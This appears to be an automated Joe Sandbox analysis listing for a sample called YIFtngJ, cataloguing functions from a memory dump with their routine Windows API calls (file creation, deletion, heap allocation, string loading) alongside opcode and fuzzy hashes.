Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin
String ID: InitializeCriticalSectionEx
API String ID: 2593887523-3084827643
Opcode ID: 5851e5b003ec0f0e48a7fe2818b2835147c718c8358a497511ad1f4575646f90
Instruction ID: 17950c2ab3ccb7ea367ac7cbdf54971476415367c6cb96d3eebf524bcac43509
Opcode Fuzzy Hash: 5851e5b003ec0f0e48a7fe2818b2835147c718c8358a497511ad1f4575646f90
Instruction Fuzzy Hash: 77F06D75685218BB8B01AF54DD45C9E7FE1DB04720B5041A5F81866260DE718E10D7D0

Function 00B8784C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32 ref: 00B8788B

Strings

FlsAlloc, xrefs: 00B87867

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: Alloc
String ID: FlsAlloc
API String ID: 2773662609-671089009
Opcode ID: 7023041666c9b7fbfd4b33514ed964a329a8e846443c3145b920dff89c9f66d1
Instruction ID: 36819f5bf0c3e3f6ebea81d4fcafc91c483460a66456108c72114bcb918b2d3d
Opcode Fuzzy Hash: 7023041666c9b7fbfd4b33514ed964a329a8e846443c3145b920dff89c9f66d1
Instruction Fuzzy Hash: E4E05574B852187B8704BF659C0AD2E7BE4CB44B20B5000E6FC0473260DD704E00C3C5

Function 00B81D9A Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00B81DAF

Strings

FlsAlloc, xrefs: 00B81D9E, 00B81DA8

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: try_get_function
String ID: FlsAlloc
API String ID: 2742660187-671089009
Opcode ID: ad78f6cdf8e5c897ac2c759c9a741acb3ddd7c6d5ca43681f9773a878e5f7114
Instruction ID: 72569d98ee226527e862f6c790ec167b43710d934be9c88fd9545bed4172a86d
Opcode Fuzzy Hash: ad78f6cdf8e5c897ac2c759c9a741acb3ddd7c6d5ca43681f9773a878e5f7114
Instruction Fuzzy Hash: F4D05B26B832356A9A1136DDAC02A9A7EDDCB00BF1F0508F2FF2C6527295954C51A7E1

Function 00B7CD5C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B7CD6E

Part of subcall function 00B7CABC: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B7CB39
Part of subcall function 00B7CABC: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00B7CB4A

Strings

3Ro, xrefs: 00B7CD5C, 00B7CD68

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: 3Ro
API String ID: 1269201914-1492261280
Opcode ID: 7725537bb2668a25ae11d5021b6622f5d851f2cde67383a3b467ba24dd035e24
Instruction ID: 347f8f544c216d560eea166572b31bc79534e905cacdeee7d7476474e740a41c
Opcode Fuzzy Hash: 7725537bb2668a25ae11d5021b6622f5d851f2cde67383a3b467ba24dd035e24
Instruction Fuzzy Hash: C9B012C225D005BF393496445E02C370DECC3C2F91330C0FFF416E4060E8400C028036

Function 00B88618 Relevance: 3.2, APIs: 2, Instructions: 168COMMON

Download Yara Rule

APIs

Part of subcall function 00B881EB: GetOEMCP.KERNEL32(00000000,?,?,00B88474,?), ref: 00B88216

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,00B884B9,?,00000000), ref: 00B8868C
GetCPInfo.KERNEL32(00000000,00B884B9,?,?,?,00B884B9,?,00000000), ref: 00B8869F

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: 4936385dbf920ffed79ff101ca1d4ac49bdfe081d28b36195b8a88ebb7eaf744
Instruction ID: 293689f138ba5e93bd1b344cf13713282b11b376f8c380bebb597079f0fed345
Opcode Fuzzy Hash: 4936385dbf920ffed79ff101ca1d4ac49bdfe081d28b36195b8a88ebb7eaf744
Instruction Fuzzy Hash: 755155789002459FDB21BF35C881ABABBF5EF41310FA440EED0968B261DF359D45CB90

Function 00B61383 Relevance: 3.1, APIs: 2, Instructions: 96COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00B61383

Part of subcall function 00B65FB1: __EH_prolog.LIBCMT ref: 00B65FB6

Part of subcall function 00B6C413: __EH_prolog.LIBCMT ref: 00B6C418
Part of subcall function 00B6C413: new.LIBCMT ref: 00B6C45B
Part of subcall function 00B6C413: new.LIBCMT ref: 00B6C47F

new.LIBCMT ref: 00B613FB

Part of subcall function 00B6AC66: __EH_prolog.LIBCMT ref: 00B6AC6B

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 3e553f7261f640968bfddb5d68cedd657078f0d9164a3e8bbd762881184e58e0
Instruction ID: b3a5f413ad945620ce8e0dcdfb68657ac001bb58b3203e954331f2abd6ec5cad
Opcode Fuzzy Hash: 3e553f7261f640968bfddb5d68cedd657078f0d9164a3e8bbd762881184e58e0
Instruction Fuzzy Hash: 354147B0805B40DED720DF798486AE6FBE5FF28300F5449AED5EE87282CB366554CB11

Function 00B6137E Relevance: 3.1, APIs: 2, Instructions: 94COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00B61383

Part of subcall function 00B65FB1: __EH_prolog.LIBCMT ref: 00B65FB6

Part of subcall function 00B6C413: __EH_prolog.LIBCMT ref: 00B6C418
Part of subcall function 00B6C413: new.LIBCMT ref: 00B6C45B
Part of subcall function 00B6C413: new.LIBCMT ref: 00B6C47F

new.LIBCMT ref: 00B613FB

Part of subcall function 00B6AC66: __EH_prolog.LIBCMT ref: 00B6AC6B

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: a7fafadf18300461cf3e9c1c5829984c13e42a837d7a8ba3cb98684891577944
Instruction ID: 72cf446b6f087bcba13d52c82826667d5f56d916276fc66a0faf787c757a9c4a
Opcode Fuzzy Hash: a7fafadf18300461cf3e9c1c5829984c13e42a837d7a8ba3cb98684891577944
Instruction Fuzzy Hash: 8A4136B0805B40DED724DF798485AE6FBE5FF28300F544AAED5EE83282CB366554CB15

Function 00B88457 Relevance: 3.1, APIs: 2, Instructions: 91COMMON

Download Yara Rule

APIs

Part of subcall function 00B8631F: GetLastError.KERNEL32(?,00B9CBE8,00B82674,00B9CBE8,?,?,00B82213,?,?,00B9CBE8), ref: 00B86323
Part of subcall function 00B8631F: _free.LIBCMT ref: 00B86356
Part of subcall function 00B8631F: SetLastError.KERNEL32(00000000,?,00B9CBE8), ref: 00B86397
Part of subcall function 00B8631F: _abort.LIBCMT ref: 00B8639D

Part of subcall function 00B88576: _abort.LIBCMT ref: 00B885A8
Part of subcall function 00B88576: _free.LIBCMT ref: 00B885DC

Part of subcall function 00B881EB: GetOEMCP.KERNEL32(00000000,?,?,00B88474,?), ref: 00B88216

_free.LIBCMT ref: 00B884CF
_free.LIBCMT ref: 00B88505

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: _free$ErrorLast_abort
String ID:
API String ID: 2991157371-0
Opcode ID: b7676e2d95e86c99f2af7e1026faae2f7113bbc8a246842587699054cef9800e
Instruction ID: 4670fb81c1253c20dca8631ae34fdb92d4358caea96f526cad2e342165e80eda
Opcode Fuzzy Hash: b7676e2d95e86c99f2af7e1026faae2f7113bbc8a246842587699054cef9800e
Instruction Fuzzy Hash: 1A318232904209AFDB21FFA9D541A9DBBF5EF41320F6941D9E4049B2B1EF359E41CB50

Function 00B694F1 Relevance: 3.1, APIs: 2, Instructions: 86fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,00000000,00000001,00000000,00000002,00000000,00000000,?,00000000,?,?,?,00B69B87,?,?,00B67735), ref: 00B69579
CreateFileW.KERNEL32(?,00000000,00000001,00000000,00000002,00000000,00000000,?,?,00000800,?,?,00B69B87,?,?,00B67735), ref: 00B695AE

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: e9890d6972ce23986f600ecca0ad45b100b6e056f1a1ef98aeeb408f0fbe01c6
Instruction ID: 93aed4c5cebd581f57013095d88c7bf49131eddd2f32a8097c7b2459728443ab
Opcode Fuzzy Hash: e9890d6972ce23986f600ecca0ad45b100b6e056f1a1ef98aeeb408f0fbe01c6
Instruction Fuzzy Hash: E921F3B1004748AFE7318F14C885BABBBECEB59364F00496EF5E6831D1C778AD498B61

Function 00B69A12 Relevance: 3.1, APIs: 2, Instructions: 82timeCOMMON

Download Yara Rule

APIs

FlushFileBuffers.KERNEL32(?,?,?,?,?,?,?,00B67436,?,?,?), ref: 00B69A2C
SetFileTime.KERNELBASE(?,?,?,?), ref: 00B69ADC

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: File$BuffersFlushTime
String ID:
API String ID: 1392018926-0
Opcode ID: a398b7fc55a24622512d903c493f66d810e152584b1d072ade1ca670ef9f7ac5
Instruction ID: 1f05bbb69010e6e175985ca27e0cd9c32cb6f1002948e23cb4edf1d5c8e377f4
Opcode Fuzzy Hash: a398b7fc55a24622512d903c493f66d810e152584b1d072ade1ca670ef9f7ac5
Instruction Fuzzy Hash: 6421B132258286AFC711DEA4D981ABABBD8EB96704F0449ADF881C7181D73DED08C791

Function 00B87735 Relevance: 3.1, APIs: 2, Instructions: 65libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,?), ref: 00B87795
__crt_fast_encode_pointer.LIBVCRUNTIME ref: 00B877A2

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: AddressProc__crt_fast_encode_pointer
String ID:
API String ID: 2279764990-0
Opcode ID: 951713dfc7a2d581fc254d121986e6d2e6ff60e70d8891af5ab65cb83ec8a4ee
Instruction ID: 7bd08f6b8f6f51fff350f1ac1430aac68c989486f76708dd24f0f71ac5e83acf
Opcode Fuzzy Hash: 951713dfc7a2d581fc254d121986e6d2e6ff60e70d8891af5ab65cb83ec8a4ee
Instruction Fuzzy Hash: 2A110A3F6442319B9B21EE29DCC095A73E5EB84768B3602A1FD14AB264DF31DC41C7D1

Function 00B69AEB Relevance: 3.1, APIs: 2, Instructions: 54COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,00000000,00000000,00000001), ref: 00B69B21
GetLastError.KERNEL32 ref: 00B69B2D

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: efa2643d45a245206be4dcd9abcaf9ada719c3a45aa9edb6896303b957ab7ace
Instruction ID: 952ced235b66dfc07f6d5976f25e8471179a1a7c9e35996f3656171c0ea6a09c
Opcode Fuzzy Hash: efa2643d45a245206be4dcd9abcaf9ada719c3a45aa9edb6896303b957ab7ace
Instruction Fuzzy Hash: 86019E717057446FEB349E29EC84B6AB7DDDB85714F1845BEB152C3680CA39D808C621

Function 00B69897 Relevance: 3.1, APIs: 2, Instructions: 52COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(000000FF,?,?,?), ref: 00B698EB
GetLastError.KERNEL32 ref: 00B698F8

Part of subcall function 00B696AA: __EH_prolog.LIBCMT ref: 00B696AF

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: ErrorFileH_prologLastPointer
String ID:
API String ID: 4236474358-0
Opcode ID: ae2d8fc1803e5f5d587cbc06b8605d0d31d885d6374e852866aa34f9b7d72aa6
Instruction ID: 43be99b2de1d2372ecaae5513028dd66903cff4a818239f86701e6409c68eade
Opcode Fuzzy Hash: ae2d8fc1803e5f5d587cbc06b8605d0d31d885d6374e852866aa34f9b7d72aa6
Instruction Fuzzy Hash: 2701B132601209DB9B189E5A8C84AAA77EDEF5277071442AEE936CB290DB34DC15D760

Function 00B85AEA Relevance: 3.0, APIs: 2, Instructions: 44memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00B85B0B

Part of subcall function 00B859FC: RtlAllocateHeap.NTDLL(00000000,?,?,?,00B823AA,?,0000015D,?,?,?,?,00B82F29,000000FF,00000000,?,?), ref: 00B85A2E

HeapReAlloc.KERNEL32(00000000,?,00200000,?,?,00B9CBE8,00B617A1,?,?,?,?,00000000,?,00B61378,?,?), ref: 00B85B47

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: Heap$AllocAllocate_free
String ID:
API String ID: 2447670028-0
Opcode ID: 3e4223dd36c2552fa932f6990e8af4d78e4a3626c50a46b3a0a56e55f39d52b5
Instruction ID: 7c8c9076109dcf787b8240fc38a8f5ed6dec9f4741fea4b62006eaf88821d8cb
Opcode Fuzzy Hash: 3e4223dd36c2552fa932f6990e8af4d78e4a3626c50a46b3a0a56e55f39d52b5
Instruction Fuzzy Hash: 38F06232651A1AAADB313E25DC05F6B37DDDFA1771B1441D6F818961B1EE30C801C3B1

Function 00B6D142 Relevance: 3.0, APIs: 2, Instructions: 43COMMON

Download Yara Rule

APIs

LoadStringW.USER32(?,?,00000200,?), ref: 00B6D187
LoadStringW.USER32(?,?,00000200,?), ref: 00B6D19D

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: LoadString
String ID:
API String ID: 2948472770-0
Opcode ID: 5a5cf68e68e6a78426ed2d615531ec13f187f895b47f7ff2796cc86bf585c9a3
Instruction ID: 9493d07f728c79682ca2bd200dd5cb1eec6827c64f92ff61e1d06e4c3a395ae7
Opcode Fuzzy Hash: 5a5cf68e68e6a78426ed2d615531ec13f187f895b47f7ff2796cc86bf585c9a3
Instruction Fuzzy Hash: 15F0CD73B0522C6BEB119F10AD85FAB7EADEF06384F010836FA88A7061DA254C0187E0

Function 00B6FCA6 Relevance: 3.0, APIs: 2, Instructions: 33COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?), ref: 00B6FCB3
GetProcessAffinityMask.KERNEL32(00000000), ref: 00B6FCBA

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: Process$AffinityCurrentMask
String ID:
API String ID: 1231390398-0
Opcode ID: 201c7fe58b94770f747bee0f658c79ac51566f56b0c0d95ae2b6172d2bd8f902
Instruction ID: da9cb165280dbb00695a0680d38cd854d1da8a18396c0d5cb7d2027fb159e110
Opcode Fuzzy Hash: 201c7fe58b94770f747bee0f658c79ac51566f56b0c0d95ae2b6172d2bd8f902
Instruction Fuzzy Hash: 3BE09232E1110F6BCF0896A4AC159FF73EEEB0420072441BAED06D3200FA38DD0197A0

Function 00B6A0C3 Relevance: 3.0, APIs: 2, Instructions: 30COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,00B69EF9,?,?,?,00B69D92,?,00000001,00000000,?,?), ref: 00B6A0D7
SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,00B69EF9,?,?,?,00B69D92,?,00000001,00000000,?,?), ref: 00B6A108

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: dfb5bafce8a7d2a9f8bf9ca7f7e8f458c02f7ca84098494544294319fd44f049
Instruction ID: 84a9a45dd7f12230c0d89116cee5a91ad7f867625b5d6aef40e034e8db9144c9
Opcode Fuzzy Hash: dfb5bafce8a7d2a9f8bf9ca7f7e8f458c02f7ca84098494544294319fd44f049
Instruction Fuzzy Hash: DCF0A03124010DABDF216F60DC01BEA7BADEF05381F0480A5B988A60A1DB369E999E50

Function 00B7C0D0 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00B7C0FE
SetDlgItemTextW.USER32(00000065,?), ref: 00B7C115

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: ItemText_swprintf
String ID:
API String ID: 3011073432-0
Opcode ID: 86648c988de54f9fc24d6fcafcc8a43f203cfe0dc4f11b1548dc0e460c53913a
Instruction ID: 4f7fdf1104dfed3b034322b058ff30029834576faf8626846c5900df5a7bdf73
Opcode Fuzzy Hash: 86648c988de54f9fc24d6fcafcc8a43f203cfe0dc4f11b1548dc0e460c53913a
Instruction Fuzzy Hash: A7F0EC32954248BBE721B7708C07F993F9DE705741F0440DEF619930E3DA715E209791

Function 00B69DAC Relevance: 3.0, APIs: 2, Instructions: 28fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE(?,?,?,00B69611,?,?,00B6946C), ref: 00B69DBD
DeleteFileW.KERNEL32(?,?,?,00000800,?,?,00B69611,?,?,00B6946C), ref: 00B69DEB

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
